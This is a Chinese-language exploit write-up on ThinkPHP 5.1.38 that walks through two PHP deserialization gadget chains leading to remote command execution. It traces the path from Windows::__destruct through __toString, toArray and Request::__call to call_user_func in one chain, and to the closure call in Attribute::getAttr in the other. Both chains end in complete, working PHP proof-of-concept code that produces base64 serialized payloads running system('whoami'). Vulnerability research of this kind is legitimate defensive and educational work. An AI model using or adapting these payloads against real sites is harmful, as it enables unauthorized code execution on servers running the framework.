环境
Thinkphp5.1.38
PHP7.3.4
触发条件
__destruct
方法或者__wakeup
方法
测试代码
源码分析
链条一
漏洞起点文件
think\process\pipes\Windows.php
__destruct
触发removeFiles
方法
file_exists
会把传入的参数当作字符串处理,触发__toString
魔术方法
全局搜索下__toString
,跟进think\model\concern\Conversion.php
下的__toString
方法,调用toJson
方法
跟进toJson
方法,调用toArray
方法,然后json格式返回。
跟进toArray
方法,需要在toArray
方法中寻找到可控变量->方法(可控变量)
来触发__call
魔术方法。
为什么需要__call
方法呢?因为PHP为了避免当调用的方法不存在时产生错误,而意外的导致程序中止,所以使用 __call
方法来避免,而__call
方法中又常利用call_user_func
和call_user_func_array
来进行动态调用,从而可能导致命令执行。toArray
中的$relation->visible($name)
正好符合这个条件。
首先进行if (!empty($this->append))
条件判断,变量append
可控,然后跟进getRelation
方法,位于think\model\concern\RelationShip.php
中,只要传入的参数$name
不为空,且不在$this->ralation
中即可返回null。
跟进getAttr
方法,位于think\model\concern\Attribute.php
中,调用了getData
方法。
跟进getData
方法,位于think\model\concern\Attribute.php
中,只要传入的参数name
存在$this->data
中,就返回$this->data[$name]
,因为这里name
,$this->data
可控,所以返回值可控。
也就是toArray
方法中的ralation
变量可控,就可以符合可控变量->方法(可控变量)
来触发__call
魔术方法。寻找不存在visible
方法且存在__call
方法的类。
因为调用__call
方法,第一个参数是不可控的,所以限制了挺多。最后找到了think\Request.php
类下的__call
方法
跟进think\Request.php
下的__call
方法。只要$method
在$this->hook
中就可以触发call_user_func_array
,且两个参数都可控,但是args
经过了array_unshift
函数插入导致args数组
的第一个值是不可控的,但是我们可以调用任何方法。TP5有个常用的RCE漏洞是think\Request.php
中的input
方法。
跟进input
方法,我们知道这个RCE漏洞是实例化类的时候没有过滤,需要$data
、$filter
和$name
可控,然后进入filterValue
方法中执行了call_user_func
导致了命令执行,但是这边data
变量却不可控。寻找调用input
方法的方法。
跟进param
方法,位于think\Request
中,但是这里的$name
依旧不可控,继续寻找调用param
方法的方法
跟进isAjax
方法,位于think\Request
中,this->config['var_ajax']
变量可控,也就是input
中的name
可控。
但TP5的request RCE
漏洞的filter
参数是通过GET传入,但这边的filter
我们又怎么控制呢?
最后我们跟进下input
方法,看看如何触发命令执行。getFilter
方法的返回值赋值给$filter
变量
跟进getFilter
方法,位于think\Request
中。$filter
来自$this->filter
所以可控。
最后进入array_walk_recusive
函数,触发我们熟悉的filterValue
方法。
跟进filterValue
方法,通过call_user_func
触发命令执行。
完整POP链条
think\process\pipes\Windows->__destruct()
->think\process\pipes\Windows->__removeFiles()
->file_exists()
->think\model\Pivot->_toString()
->think\model\Pivot->_toJson()
->think\model\Pivot->_toArray()
->think\Request->visible()
->think\Request->__call
->call_user_func_array()
->think\Request->isAjax()
->think\Request->param()
->think\Request->input()
->array_walk_recursive()
->think\Request->filterValue()
->call_user_func()
POC编写
注:自 PHP 5.4.0 起,PHP 实现了代码复用的一个方法,称为 traits。Trait 不能通过它自身来实例化,通过在类中使用use 关键字,声明要组合的Trait名称。所以我们通过寻找找到了同时组合model\concern\Conversion
和model\concern\Attribute
类的think\Model
类
而think\Model
类又是抽象类,也是不能直接来实例化的,需要寻找它的继承类来实例化,来间接调用。最后找到了think\model\Pivot
类
<?php
namespace think{
class Request
{
protected $hook = [];
protected $config = [];
protected $filter;
protected $param = [];
public function __construct(){
$this->filter = 'system';
$this->param = ['whoami'];
$this->hook = ['visible'=>[$this,'isAjax']];
$this->config = ['var_ajax' => ''];
}
}
abstract class Model{
protected $append = [];
private $data = [];
function __construct()
{
$this->append = ['eas' => ['eas']];
$this->data = ['eas' => new Request()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
链条二
漏洞点在think\model\concern\Attribute
中getAttr
方法中的$closure($value, $this->data)
POP链条的前部分触发点和链条一一样,进入getAttr
方法
跟进getAttr
方法,$value
的值由getData
方法返回值决定,由链条一我们可以知道$value
可控,然后就是$closure
是由$this->withAttr[$fieldName]
赋值,$this->withAttr
可控,$fieldName
由Loader::parseName($name)
赋值。
跟进Loader::parseName
方法,只是简单的过滤匹配,所以fieldName
也是可控的,即$closure
可控
完整POP链条
think\process\pipes\Windows->__destruct()
->think\process\pipes\Windows->__removeFiles()
->file_exists()
->think\model\Pivot->_toString()
->think\model\Pivot->_toJson()
->think\model\Pivot->_toArray()
->think\model\Pivot->getAttr()
->$closure($value, $this->data)
POC编写
注:在php中如果传入多余的参数时,会被函数忽略。
<?php
namespace think{
abstract class Model{
private $data = [];
private $withAttr = [];
function __construct()
{
$this->withAttr = ['system' => 'system'];
$this->data = ['system' => 'whoami'];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Pipes{}
class Windows extends Pipes{
private $files = [];
function __construct(){
$this->files = [new Pivot()];
}
}
}
namespace{
echo base64_encode(serialize(new think\process\pipes\Windows()));
}
总结
往往一条比较长的反序列链条中,可以被触发的漏洞点不止一个。需要自己从__destruct
方法开始一点点看过去。(方法比较笨,但不会错过每一个点)。当然每个人挖掘方式不一样,从__destruct
开始是正着挖,有的师傅喜欢先定位危险函数如call_user_func
,然后逆着挖。个人觉得正着挖比较好,逆着挖个人感觉对新手不太友好。